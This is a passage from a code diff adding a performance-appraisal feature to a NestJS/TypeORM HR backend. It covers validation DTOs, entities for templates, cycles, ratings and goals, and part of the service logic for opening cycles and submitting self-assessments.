export class RatingInputDto {
|
||||
@ApiProperty({ maxLength: 32 })
|
||||
@IsString()
|
||||
@IsNotEmpty()
|
||||
code!: string;
|
||||
|
||||
@ApiProperty({ example: 4, description: "0 to the template's maxScore." })
|
||||
@IsNumber()
|
||||
@Min(0)
|
||||
score!: number;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 1024 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(1024)
|
||||
comment?: string;
|
||||
}
|
||||
|
||||
export class SubmitSelfDto {
|
||||
@ApiProperty({ type: [RatingInputDto], description: "Every criterion is required." })
|
||||
@IsArray()
|
||||
@ValidateNested({ each: true })
|
||||
@Type(() => RatingInputDto)
|
||||
ratings!: RatingInputDto[];
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 2048 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(2048)
|
||||
comment?: string;
|
||||
}
|
||||
|
||||
export class GoalOutcomeDto {
|
||||
@ApiProperty({ format: "uuid" })
|
||||
@IsUUID()
|
||||
id!: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
minimum: 0,
|
||||
maximum: 200,
|
||||
description: "Over 100 is allowed — exceeding a target is a real outcome.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsNumber()
|
||||
@Min(0)
|
||||
@Max(200)
|
||||
achievementPercent?: number;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 1024 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(1024)
|
||||
comment?: string;
|
||||
}
|
||||
|
||||
export class SubmitManagerDto {
|
||||
@ApiProperty({ type: [RatingInputDto] })
|
||||
@IsArray()
|
||||
@ValidateNested({ each: true })
|
||||
@Type(() => RatingInputDto)
|
||||
ratings!: RatingInputDto[];
|
||||
|
||||
@ApiPropertyOptional({ type: [GoalOutcomeDto] })
|
||||
@IsOptional()
|
||||
@IsArray()
|
||||
@ValidateNested({ each: true })
|
||||
@Type(() => GoalOutcomeDto)
|
||||
goals?: GoalOutcomeDto[];
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 2048 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(2048)
|
||||
comment?: string;
|
||||
}
|
||||
|
||||
export class AcknowledgeDto {
|
||||
@ApiPropertyOptional({
|
||||
maxLength: 2048,
|
||||
description: "The employee's right of reply. It cannot change the score.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(2048)
|
||||
comment?: string;
|
||||
}
|
||||
|
||||
export class CreateGoalDto {
|
||||
@ApiProperty({ maxLength: 256 })
|
||||
@IsString()
|
||||
@IsNotEmpty()
|
||||
@MaxLength(256)
|
||||
title!: string;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 2048 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(2048)
|
||||
description?: string;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 256, example: "Reduce turnaround to 3 days" })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(256)
|
||||
target?: string;
|
||||
|
||||
@ApiPropertyOptional({ example: "20.00" })
|
||||
@IsOptional()
|
||||
@IsNumberString()
|
||||
weight?: string;
|
||||
}
|
||||
@@ -0,0 +1,361 @@
|
||||
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
|
||||
import {
|
||||
Column,
|
||||
CreateDateColumn,
|
||||
Entity,
|
||||
Index,
|
||||
JoinColumn,
|
||||
ManyToOne,
|
||||
OneToMany,
|
||||
PrimaryGeneratedColumn,
|
||||
} from "typeorm";
|
||||
|
||||
export enum ECycleStatus {
|
||||
DRAFT = "DRAFT",
|
||||
OPEN = "OPEN",
|
||||
CLOSED = "CLOSED",
|
||||
CANCELLED = "CANCELLED",
|
||||
}
|
||||
|
||||
export enum EAppraisalStatus {
|
||||
/** Waiting on the employee's own assessment. */
|
||||
PENDING_SELF = "PENDING_SELF",
|
||||
PENDING_MANAGER = "PENDING_MANAGER",
|
||||
/** Scored and shared; waiting for the employee to acknowledge it. */
|
||||
PENDING_ACKNOWLEDGEMENT = "PENDING_ACKNOWLEDGEMENT",
|
||||
COMPLETED = "COMPLETED",
|
||||
CANCELLED = "CANCELLED",
|
||||
}
|
||||
|
||||
/** `[{ min: 90, label: { am, en } }, …]`, highest first. */
|
||||
export interface RatingBand {
|
||||
min: number;
|
||||
label: { am: string; en: string };
|
||||
}
|
||||
|
||||
@Entity({ schema: "hr", name: "appraisal_templates" })
|
||||
@Index("idx_appraisal_templates_org", ["organizationId"])
|
||||
export class AppraisalTemplate extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "organization_id" })
|
||||
organizationId!: string;
|
||||
|
||||
@Column({ type: "varchar", length: 32, name: "code" })
|
||||
code!: string;
|
||||
|
||||
@Column({ type: "jsonb", name: "name" })
|
||||
name!: { am: string; en: string };
|
||||
|
||||
@Column({ type: "jsonb", name: "description", nullable: true })
|
||||
description?: { am: string; en: string } | null;
|
||||
|
||||
/** The top of the per-criterion scale — 5 for a five-point scale. */
|
||||
@Column({ type: "numeric", precision: 6, scale: 2, name: "max_score", default: 5 })
|
||||
maxScore!: string;
|
||||
|
||||
/**
|
||||
* What a percentage means in words. Data rather than constants because every
|
||||
* employer words these differently, and the wording is what appears on the
|
||||
* review the employee signs.
|
||||
*/
|
||||
@Column({ type: "jsonb", name: "rating_bands", default: () => `'[]'::jsonb` })
|
||||
ratingBands!: RatingBand[];
|
||||
|
||||
@Column({ type: "boolean", name: "requires_self_assessment", default: true })
|
||||
requiresSelfAssessment!: boolean;
|
||||
|
||||
@Column({ type: "boolean", name: "requires_acknowledgement", default: true })
|
||||
requiresAcknowledgement!: boolean;
|
||||
|
||||
@Column({ type: "boolean", name: "is_active", default: true })
|
||||
isActive!: boolean;
|
||||
|
||||
@OneToMany(() => AppraisalCriterion, (criterion) => criterion.template)
|
||||
criteria?: AppraisalCriterion[];
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "updated_by", nullable: true })
|
||||
updatedBy?: string | null;
|
||||
}
|
||||
|
||||
@Entity({ schema: "hr", name: "appraisal_criteria" })
|
||||
export class AppraisalCriterion {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "template_id" })
|
||||
templateId!: string;
|
||||
|
||||
@ManyToOne(() => AppraisalTemplate, (template) => template.criteria)
|
||||
@JoinColumn({ name: "template_id" })
|
||||
template?: AppraisalTemplate;
|
||||
|
||||
@Column({ type: "varchar", length: 32, name: "code" })
|
||||
code!: string;
|
||||
|
||||
@Column({ type: "jsonb", name: "name" })
|
||||
name!: { am: string; en: string };
|
||||
|
||||
@Column({ type: "jsonb", name: "description", nullable: true })
|
||||
description?: { am: string; en: string } | null;
|
||||
|
||||
/** e.g. `RESULTS`, `BEHAVIOUR` — for grouping on the form. */
|
||||
@Column({ type: "varchar", length: 32, name: "category", nullable: true })
|
||||
category?: string | null;
|
||||
|
||||
/** Percentage points. All criteria in a template must total 100. */
|
||||
@Column({ type: "numeric", precision: 6, scale: 2, name: "weight" })
|
||||
weight!: string;
|
||||
|
||||
@Column({ type: "smallint", name: "sort_order", default: 100 })
|
||||
sortOrder!: number;
|
||||
|
||||
@CreateDateColumn({ type: "timestamptz", name: "created_at" })
|
||||
createdAt!: Date;
|
||||
}
|
||||
|
||||
@Entity({ schema: "hr", name: "appraisal_cycles" })
|
||||
@Index("idx_appraisal_cycles_org", ["organizationId"])
|
||||
export class AppraisalCycle extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "organization_id" })
|
||||
organizationId!: string;
|
||||
|
||||
@Column({ type: "varchar", length: 32, name: "code" })
|
||||
code!: string;
|
||||
|
||||
@Column({ type: "jsonb", name: "name" })
|
||||
name!: { am: string; en: string };
|
||||
|
||||
@Column({ type: "uuid", name: "template_id" })
|
||||
templateId!: string;
|
||||
|
||||
@ManyToOne(() => AppraisalTemplate)
|
||||
@JoinColumn({ name: "template_id" })
|
||||
template?: AppraisalTemplate;
|
||||
|
||||
@Column({ type: "date", name: "period_start" })
|
||||
periodStart!: string;
|
||||
|
||||
@Column({ type: "date", name: "period_end" })
|
||||
periodEnd!: string;
|
||||
|
||||
@Column({ type: "date", name: "self_due_on", nullable: true })
|
||||
selfDueOn?: string | null;
|
||||
|
||||
@Column({ type: "date", name: "manager_due_on", nullable: true })
|
||||
managerDueOn?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 16,
|
||||
name: "status",
|
||||
default: ECycleStatus.DRAFT,
|
||||
})
|
||||
status!: ECycleStatus;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "updated_by", nullable: true })
|
||||
updatedBy?: string | null;
|
||||
}
|
||||
|
||||
/**
|
||||
* One employee's review for one cycle.
|
||||
*
|
||||
* The criteria are copied onto the appraisal as ratings when it opens, rather
|
||||
* than joined from the template. Editing a template a year later must not
|
||||
* restate a review that has already been signed.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "appraisals" })
|
||||
@Index("idx_appraisals_employee", ["employeeId"])
|
||||
export class Appraisal extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "organization_id" })
|
||||
organizationId!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "cycle_id" })
|
||||
cycleId!: string;
|
||||
|
||||
@ManyToOne(() => AppraisalCycle)
|
||||
@JoinColumn({ name: "cycle_id" })
|
||||
cycle?: AppraisalCycle;
|
||||
|
||||
@Column({ type: "uuid", name: "employee_id" })
|
||||
employeeId!: string;
|
||||
|
||||
/** The line manager, resolved the same way leave approvals are. */
|
||||
@Column({ type: "uuid", name: "appraiser_employee_id", nullable: true })
|
||||
appraiserEmployeeId?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 24,
|
||||
name: "status",
|
||||
default: EAppraisalStatus.PENDING_SELF,
|
||||
})
|
||||
status!: EAppraisalStatus;
|
||||
|
||||
/** All three are percentages, 0–100. */
|
||||
@Column({ type: "numeric", precision: 6, scale: 2, name: "self_score", nullable: true })
|
||||
selfScore?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "numeric",
|
||||
precision: 6,
|
||||
scale: 2,
|
||||
name: "manager_score",
|
||||
nullable: true,
|
||||
})
|
||||
managerScore?: string | null;
|
||||
|
||||
@Column({ type: "numeric", precision: 6, scale: 2, name: "final_score", nullable: true })
|
||||
finalScore?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 32, name: "final_rating", nullable: true })
|
||||
finalRating?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 2048, name: "self_comment", nullable: true })
|
||||
selfComment?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 2048, name: "manager_comment", nullable: true })
|
||||
managerComment?: string | null;
|
||||
|
||||
/** The employee's right of reply, recorded at acknowledgement. */
|
||||
@Column({ type: "varchar", length: 2048, name: "employee_comment", nullable: true })
|
||||
employeeComment?: string | null;
|
||||
|
||||
@Column({ type: "timestamptz", name: "self_submitted_at", nullable: true })
|
||||
selfSubmittedAt?: Date | null;
|
||||
|
||||
@Column({ type: "timestamptz", name: "manager_submitted_at", nullable: true })
|
||||
managerSubmittedAt?: Date | null;
|
||||
|
||||
@Column({ type: "timestamptz", name: "acknowledged_at", nullable: true })
|
||||
acknowledgedAt?: Date | null;
|
||||
|
||||
@OneToMany(() => AppraisalRating, (rating) => rating.appraisal)
|
||||
ratings?: AppraisalRating[];
|
||||
|
||||
@OneToMany(() => AppraisalGoal, (goal) => goal.appraisal)
|
||||
goals?: AppraisalGoal[];
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "updated_by", nullable: true })
|
||||
updatedBy?: string | null;
|
||||
}
|
||||
|
||||
/** One criterion on one appraisal, scored from both sides. */
|
||||
@Entity({ schema: "hr", name: "appraisal_ratings" })
|
||||
export class AppraisalRating {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "appraisal_id" })
|
||||
appraisalId!: string;
|
||||
|
||||
@ManyToOne(() => Appraisal, (appraisal) => appraisal.ratings)
|
||||
@JoinColumn({ name: "appraisal_id" })
|
||||
appraisal?: Appraisal;
|
||||
|
||||
@Column({ type: "uuid", name: "criterion_id", nullable: true })
|
||||
criterionId?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 32, name: "code" })
|
||||
code!: string;
|
||||
|
||||
@Column({ type: "jsonb", name: "name" })
|
||||
name!: { am: string; en: string };
|
||||
|
||||
/** Copied from the criterion, so the form the review used is preserved. */
|
||||
@Column({ type: "numeric", precision: 6, scale: 2, name: "weight" })
|
||||
weight!: string;
|
||||
|
||||
@Column({ type: "numeric", precision: 6, scale: 2, name: "max_score" })
|
||||
maxScore!: string;
|
||||
|
||||
@Column({ type: "numeric", precision: 6, scale: 2, name: "self_score", nullable: true })
|
||||
selfScore?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "numeric",
|
||||
precision: 6,
|
||||
scale: 2,
|
||||
name: "manager_score",
|
||||
nullable: true,
|
||||
})
|
||||
managerScore?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 1024, name: "self_comment", nullable: true })
|
||||
selfComment?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 1024, name: "manager_comment", nullable: true })
|
||||
managerComment?: string | null;
|
||||
|
||||
@Column({ type: "smallint", name: "sort_order", default: 100 })
|
||||
sortOrder!: number;
|
||||
|
||||
@CreateDateColumn({ type: "timestamptz", name: "created_at" })
|
||||
createdAt!: Date;
|
||||
}
|
||||
|
||||
/**
|
||||
* An objective agreed at the start of the cycle and rated at the end.
|
||||
*
|
||||
* `achievementPercent` allows up to 200: exceeding a target is a real outcome,
|
||||
* and capping it at 100 would erase the difference between meeting a goal and
|
||||
* doubling it.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "appraisal_goals" })
|
||||
export class AppraisalGoal {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "appraisal_id" })
|
||||
appraisalId!: string;
|
||||
|
||||
@ManyToOne(() => Appraisal, (appraisal) => appraisal.goals)
|
||||
@JoinColumn({ name: "appraisal_id" })
|
||||
appraisal?: Appraisal;
|
||||
|
||||
@Column({ type: "varchar", length: 256, name: "title" })
|
||||
title!: string;
|
||||
|
||||
@Column({ type: "varchar", length: 2048, name: "description", nullable: true })
|
||||
description?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 256, name: "target", nullable: true })
|
||||
target?: string | null;
|
||||
|
||||
@Column({ type: "numeric", precision: 6, scale: 2, name: "weight", nullable: true })
|
||||
weight?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "numeric",
|
||||
precision: 6,
|
||||
scale: 2,
|
||||
name: "achievement_percent",
|
||||
nullable: true,
|
||||
})
|
||||
achievementPercent?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 1024, name: "manager_comment", nullable: true })
|
||||
managerComment?: string | null;
|
||||
|
||||
@Column({ type: "smallint", name: "sort_order", default: 100 })
|
||||
sortOrder!: number;
|
||||
|
||||
@CreateDateColumn({ type: "timestamptz", name: "created_at" })
|
||||
createdAt!: Date;
|
||||
}
|
||||
@@ -0,0 +1,635 @@
|
||||
import {
|
||||
BadRequestException,
|
||||
ConflictException,
|
||||
ForbiddenException,
|
||||
Injectable,
|
||||
NotFoundException,
|
||||
} from "@nestjs/common";
|
||||
import { InjectDataSource, InjectRepository } from "@nestjs/typeorm";
|
||||
import { DataSource, Repository } from "typeorm";
|
||||
|
||||
import { ActorContext, orgScope } from "../../employees/employees.service";
|
||||
import { EmployeesRepository } from "../../employees/employees.repository";
|
||||
import { IamDirectoryService } from "../../../iam-directory/iam-directory.service";
|
||||
import { Paginated, paginate } from "../../../common/pagination.dto";
|
||||
import {
|
||||
Appraisal,
|
||||
AppraisalCriterion,
|
||||
AppraisalCycle,
|
||||
AppraisalGoal,
|
||||
AppraisalRating,
|
||||
AppraisalTemplate,
|
||||
EAppraisalStatus,
|
||||
ECycleStatus,
|
||||
RatingBand,
|
||||
} from "../entities/appraisal.entity";
|
||||
import {
|
||||
CreateCycleDto,
|
||||
CreateTemplateDto,
|
||||
SubmitManagerDto,
|
||||
SubmitSelfDto,
|
||||
} from "../dto/appraisal.dto";
|
||||
|
||||
const round2 = (value: number): number =>
|
||||
Math.round((value + Number.EPSILON) * 100) / 100;
|
||||
|
||||
/** Weights must total this. Anything else makes scores incomparable. */
|
||||
const REQUIRED_WEIGHT_TOTAL = 100;
|
||||
|
||||
@Injectable()
|
||||
export class AppraisalService {
|
||||
constructor(
|
||||
@InjectDataSource() private readonly dataSource: DataSource,
|
||||
@InjectRepository(AppraisalTemplate)
|
||||
private readonly templates: Repository<AppraisalTemplate>,
|
||||
@InjectRepository(AppraisalCriterion)
|
||||
private readonly criteria: Repository<AppraisalCriterion>,
|
||||
@InjectRepository(AppraisalCycle)
|
||||
private readonly cycles: Repository<AppraisalCycle>,
|
||||
@InjectRepository(Appraisal)
|
||||
private readonly appraisals: Repository<Appraisal>,
|
||||
@InjectRepository(AppraisalGoal)
|
||||
private readonly goals: Repository<AppraisalGoal>,
|
||||
private readonly employees: EmployeesRepository,
|
||||
private readonly iamDirectory: IamDirectoryService,
|
||||
) {}
|
||||
|
||||
// ── Templates ─────────────────────────────────────────────────────────────
|
||||
|
||||
async createTemplate(
|
||||
dto: CreateTemplateDto,
|
||||
actor: ActorContext,
|
||||
): Promise<AppraisalTemplate> {
|
||||
const organizationId = this.requireOrg(actor);
|
||||
const clash = await this.templates.findOne({
|
||||
where: { organizationId, code: dto.code },
|
||||
});
|
||||
if (clash) {
|
||||
throw new ConflictException(`Template ${dto.code} already exists`);
|
||||
}
|
||||
|
||||
AppraisalService.assertWeights(dto.criteria.map((c) => Number(c.weight)));
|
||||
AppraisalService.assertBands(dto.ratingBands ?? []);
|
||||
|
||||
const template = await this.templates.save(
|
||||
this.templates.create({
|
||||
organizationId,
|
||||
code: dto.code,
|
||||
name: dto.name,
|
||||
description: dto.description,
|
||||
maxScore: dto.maxScore ?? "5.00",
|
||||
ratingBands: dto.ratingBands ?? [],
|
||||
requiresSelfAssessment: dto.requiresSelfAssessment ?? true,
|
||||
requiresAcknowledgement: dto.requiresAcknowledgement ?? true,
|
||||
createdBy: actor.userId,
|
||||
} as unknown as Partial<AppraisalTemplate>),
|
||||
);
|
||||
|
||||
let order = 10;
|
||||
for (const criterion of dto.criteria) {
|
||||
await this.criteria.save(
|
||||
this.criteria.create({
|
||||
templateId: template.id,
|
||||
code: criterion.code,
|
||||
name: criterion.name,
|
||||
description: criterion.description,
|
||||
category: criterion.category ?? null,
|
||||
weight: criterion.weight,
|
||||
sortOrder: order,
|
||||
} as unknown as Partial<AppraisalCriterion>),
|
||||
);
|
||||
order += 10;
|
||||
}
|
||||
|
||||
return this.getTemplate(template.id, actor);
|
||||
}
|
||||
|
||||
async getTemplate(id: string, actor: ActorContext): Promise<AppraisalTemplate> {
|
||||
const template = await this.templates.findOne({
|
||||
where: { id },
|
||||
relations: { criteria: true },
|
||||
});
|
||||
if (!template) throw new NotFoundException(`Template ${id} not found`);
|
||||
const scope = orgScope(actor);
|
||||
if (scope && template.organizationId !== scope) {
|
||||
throw new NotFoundException(`Template ${id} not found`);
|
||||
}
|
||||
template.criteria?.sort((a, b) => a.sortOrder - b.sortOrder);
|
||||
return template;
|
||||
}
|
||||
|
||||
listTemplates(actor: ActorContext): Promise<AppraisalTemplate[]> {
|
||||
const scope = orgScope(actor) ?? actor.organizationId;
|
||||
return this.templates.find({
|
||||
where: scope ? { organizationId: scope } : {},
|
||||
relations: { criteria: true },
|
||||
order: { code: "ASC" },
|
||||
});
|
||||
}
|
||||
|
||||
// ── Cycles ────────────────────────────────────────────────────────────────
|
||||
|
||||
async createCycle(dto: CreateCycleDto, actor: ActorContext): Promise<AppraisalCycle> {
|
||||
const organizationId = this.requireOrg(actor);
|
||||
const template = await this.getTemplate(dto.templateId, actor);
|
||||
|
||||
const clash = await this.cycles.findOne({
|
||||
where: { organizationId, code: dto.code },
|
||||
});
|
||||
if (clash) throw new ConflictException(`Cycle ${dto.code} already exists`);
|
||||
|
||||
if (!template.criteria?.length) {
|
||||
throw new BadRequestException(
|
||||
`${template.code} has no criteria, so nothing could be scored.`,
|
||||
);
|
||||
}
|
||||
|
||||
return this.cycles.save(
|
||||
this.cycles.create({
|
||||
...dto,
|
||||
organizationId,
|
||||
status: ECycleStatus.DRAFT,
|
||||
createdBy: actor.userId,
|
||||
} as unknown as Partial<AppraisalCycle>),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Open a cycle and create an appraisal for everyone in scope.
|
||||
*
|
||||
* The template's criteria are COPIED onto each appraisal as ratings. Joining
|
||||
* to the template instead would mean editing it a year later silently restated
|
||||
* reviews that had already been signed.
|
||||
*/
|
||||
async openCycle(
|
||||
id: string,
|
||||
employeeIds: string[] | undefined,
|
||||
actor: ActorContext,
|
||||
): Promise<{ cycle: AppraisalCycle; created: number; skipped: number }> {
|
||||
const cycle = await this.requireCycle(id, actor);
|
||||
if (cycle.status !== ECycleStatus.DRAFT && cycle.status !== ECycleStatus.OPEN) {
|
||||
throw new BadRequestException(
|
||||
`This cycle is ${cycle.status.toLowerCase()} and cannot be opened.`,
|
||||
);
|
||||
}
|
||||
const template = await this.getTemplate(cycle.templateId, actor);
|
||||
|
||||
// Default population: everyone with an HR profile in this organization who
|
||||
// is actually employed. A terminated employee is not appraised.
|
||||
const targets = employeeIds ?? (await this.eligibleEmployees(cycle.organizationId));
|
||||
|
||||
let created = 0;
|
||||
let skipped = 0;
|
||||
|
||||
for (const employeeId of targets) {
|
||||
const existing = await this.appraisals.findOne({
|
||||
where: { cycleId: cycle.id, employeeId },
|
||||
});
|
||||
if (existing) {
|
||||
skipped += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
const profile = await this.employees.findByEmployeeId(employeeId);
|
||||
if (!profile) {
|
||||
skipped += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
const appraiser =
|
||||
profile.managerEmployeeId ??
|
||||
(await this.iamDirectory.findLineManagerEmployeeId(employeeId));
|
||||
|
||||
await this.dataSource.transaction(async (manager) => {
|
||||
const appraisal = await manager.getRepository(Appraisal).save(
|
||||
manager.getRepository(Appraisal).create({
|
||||
organizationId: cycle.organizationId,
|
||||
cycleId: cycle.id,
|
||||
employeeId,
|
||||
appraiserEmployeeId: appraiser,
|
||||
status: template.requiresSelfAssessment
|
||||
? EAppraisalStatus.PENDING_SELF
|
||||
: EAppraisalStatus.PENDING_MANAGER,
|
||||
createdBy: actor.userId,
|
||||
} as Partial<Appraisal>),
|
||||
);
|
||||
|
||||
for (const criterion of template.criteria ?? []) {
|
||||
await manager.getRepository(AppraisalRating).save(
|
||||
manager.getRepository(AppraisalRating).create({
|
||||
appraisalId: appraisal.id,
|
||||
criterionId: criterion.id,
|
||||
code: criterion.code,
|
||||
name: criterion.name,
|
||||
weight: criterion.weight,
|
||||
maxScore: template.maxScore,
|
||||
sortOrder: criterion.sortOrder,
|
||||
} as Partial<AppraisalRating>),
|
||||
);
|
||||
}
|
||||
});
|
||||
created += 1;
|
||||
}
|
||||
|
||||
await this.cycles.update(cycle.id, {
|
||||
status: ECycleStatus.OPEN,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
|
||||
return { cycle: await this.requireCycle(id, actor), created, skipped };
|
||||
}
|
||||
|
||||
async closeCycle(id: string, actor: ActorContext): Promise<AppraisalCycle> {
|
||||
const cycle = await this.requireCycle(id, actor);
|
||||
if (cycle.status !== ECycleStatus.OPEN) {
|
||||
throw new BadRequestException(
|
||||
`Only an open cycle can be closed; this one is ${cycle.status.toLowerCase()}.`,
|
||||
);
|
||||
}
|
||||
await this.cycles.update(id, {
|
||||
status: ECycleStatus.CLOSED,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
return this.requireCycle(id, actor);
|
||||
}
|
||||
|
||||
listCycles(actor: ActorContext): Promise<AppraisalCycle[]> {
|
||||
const scope = orgScope(actor) ?? actor.organizationId;
|
||||
return this.cycles.find({
|
||||
where: scope ? { organizationId: scope } : {},
|
||||
relations: { template: true },
|
||||
order: { periodStart: "DESC" },
|
||||
});
|
||||
}
|
||||
|
||||
/** How far a cycle has got — counts by status. */
|
||||
async cycleProgress(id: string, actor: ActorContext): Promise<Record<string, number>> {
|
||||
const cycle = await this.requireCycle(id, actor);
|
||||
const rows = await this.appraisals
|
||||
.createQueryBuilder("appraisal")
|
||||
.select("appraisal.status", "status")
|
||||
.addSelect("COUNT(*)", "count")
|
||||
.where("appraisal.cycle_id = :id", { id: cycle.id })
|
||||
.groupBy("appraisal.status")
|
||||
.getRawMany<{ status: string; count: string }>();
|
||||
return Object.fromEntries(rows.map((row) => [row.status, Number(row.count)]));
|
||||
}
|
||||
|
||||
// ── Appraisals ────────────────────────────────────────────────────────────
|
||||
|
||||
async findOne(id: string, actor: ActorContext): Promise<Appraisal> {
|
||||
const appraisal = await this.appraisals.findOne({
|
||||
where: { id },
|
||||
relations: { ratings: true, goals: true, cycle: true },
|
||||
});
|
||||
if (!appraisal) throw new NotFoundException(`Appraisal ${id} not found`);
|
||||
const scope = orgScope(actor);
|
||||
if (scope && appraisal.organizationId !== scope) {
|
||||
throw new NotFoundException(`Appraisal ${id} not found`);
|
||||
}
|
||||
appraisal.ratings?.sort((a, b) => a.sortOrder - b.sortOrder);
|
||||
appraisal.goals?.sort((a, b) => a.sortOrder - b.sortOrder);
|
||||
return appraisal;
|
||||
}
|
||||
|
||||
async findMine(actor: ActorContext): Promise<Appraisal[]> {
|
||||
if (!actor.employeeId) return [];
|
||||
return this.appraisals.find({
|
||||
where: { employeeId: actor.employeeId },
|
||||
relations: { cycle: true },
|
||||
order: { createdAt: "DESC" },
|
||||
});
|
||||
}
|
||||
|
||||
async findAwaitingMe(actor: ActorContext): Promise<Appraisal[]> {
|
||||
if (!actor.employeeId) return [];
|
||||
return this.appraisals.find({
|
||||
where: {
|
||||
appraiserEmployeeId: actor.employeeId,
|
||||
status: EAppraisalStatus.PENDING_MANAGER,
|
||||
},
|
||||
relations: { cycle: true },
|
||||
order: { createdAt: "ASC" },
|
||||
});
|
||||
}
|
||||
|
||||
async findAll(
|
||||
filters: { cycleId?: string; status?: EAppraisalStatus; page?: number; limit?: number },
|
||||
actor: ActorContext,
|
||||
): Promise<Paginated<Appraisal>> {
|
||||
const page = filters.page ?? 1;
|
||||
const limit = filters.limit ?? 25;
|
||||
const qb = this.appraisals
|
||||
.createQueryBuilder("appraisal")
|
||||
.leftJoinAndSelect("appraisal.cycle", "cycle");
|
||||
const scope = orgScope(actor);
|
||||
if (scope) qb.andWhere("appraisal.organization_id = :scope", { scope });
|
||||
if (filters.cycleId) {
|
||||
qb.andWhere("appraisal.cycle_id = :cycleId", { cycleId: filters.cycleId });
|
||||
}
|
||||
if (filters.status) {
|
||||
qb.andWhere("appraisal.status = :status", { status: filters.status });
|
||||
}
|
||||
const [items, total] = await qb
|
||||
.orderBy("appraisal.createdAt", "DESC")
|
||||
.skip((page - 1) * limit)
|
||||
.take(limit)
|
||||
.getManyAndCount();
|
||||
return paginate(items, total, page, limit);
|
||||
}
|
||||
|
||||
/**
|
||||
* The employee's own assessment.
|
||||
*
|
||||
* Scores are recorded but do NOT decide the outcome — the manager's do. Self
|
||||
* assessment exists so the two views can be compared, which is the point of
|
||||
* asking for it at all.
|
||||
*/
|
||||
async submitSelf(
|
||||
id: string,
|
||||
dto: SubmitSelfDto,
|
||||
actor: ActorContext,
|
||||
): Promise<Appraisal> {
|
||||
const appraisal = await this.findOne(id, actor);
|
||||
if (appraisal.employeeId !== actor.employeeId) {
|
||||
throw new ForbiddenException("This is not your appraisal.");
|
||||
}
|
||||
if (appraisal.status !== EAppraisalStatus.PENDING_SELF) {
|
||||
throw new BadRequestException(
|
||||
`Self assessment is not open — this appraisal is ` +
|
||||
`${appraisal.status.toLowerCase().replace(/_/g, " ")}.`,
|
||||
);
|
||||
}
|
||||
|
||||
const byCode = new Map(dto.ratings.map((rating) => [rating.code, rating]));
|
||||
const missing = (appraisal.ratings ?? []).filter(
|
||||
(rating) => !byCode.has(rating.code),
|
||||
);
|
||||
if (missing.length > 0) {
|
||||
throw new BadRequestException(
|
||||
`Every criterion needs a score. Missing: ${missing
|
||||
.map((rating) => rating.code)
|
||||
.join(", ")}.`,
|
||||
);
|
||||
}
|
||||
|
||||
await this.dataSource.transaction(async (manager) => {
|
||||
for (const rating of appraisal.ratings ?? []) {
|
||||
const input = byCode.get(rating.code)!;
|
||||
AppraisalService.assertScore(input.score, Number(rating.maxScore), rating.code);
|
||||
await manager.getRepository(AppraisalRating).update(rating.id, {
|
||||
selfScore: input.score.toFixed(2),
|
||||
selfComment: input.comment ?? null,
|
||||
});
|
||||
}
|
||||
|
||||
const selfScore = AppraisalService.weightedScore(
|
||||
(appraisal.ratings ?? []).map((rating) => ({
|
||||
weight: Number(rating.weight),
|
||||
maxScore: Number(rating.maxScore),
|
||||
